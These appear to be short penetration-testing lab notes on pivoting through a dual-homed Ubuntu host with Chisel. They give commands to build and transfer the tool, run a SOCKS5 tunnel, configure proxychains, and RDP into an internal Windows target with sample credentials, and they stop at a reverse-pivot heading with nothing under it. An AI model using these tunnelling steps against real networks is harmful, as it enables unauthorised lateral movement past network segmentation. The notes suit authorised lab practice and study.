Scenario for Reference
Kali
- tun0 / 10.10.15.115
Ubuntu-Pivot
- ens192 / 10.129.110.16
- ens224 / 172.16.5.129
Windows-Unreachable-Target
- 172.16.5.19
Set Up Chisel
git clone https://github.com/jpillora/chisel.git
cd chisel
go build
Transferring & Running Chisel binary on Pivot Host
# Kali
scp -r chisel ubuntu@10.129.110.16:/home/ubuntu
ssh ubuntu@10.129.110.16
# Ubuntu-pivot
./chisel.server -v -p 1234 --socks5
"-> Chistel now listens on incoming connecection on port 1234 using SOCKS5 and will forward all traffic to all networks (interfaces) connected on the machine "
# Kali
./chisel client -v 10.129.110.16:1234 socks
"The output will display the listening port that the client has initiated (tun: proxy#127.0.0.1:PORT<1080>=>socks: Listening)"
sudo nano /etc/proxychains4.conf
"socks5 127.0.0.1 1080"
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
Chisel Reverse Pivot
When Inbound traffic to pivot-host-ubuntu is blocked
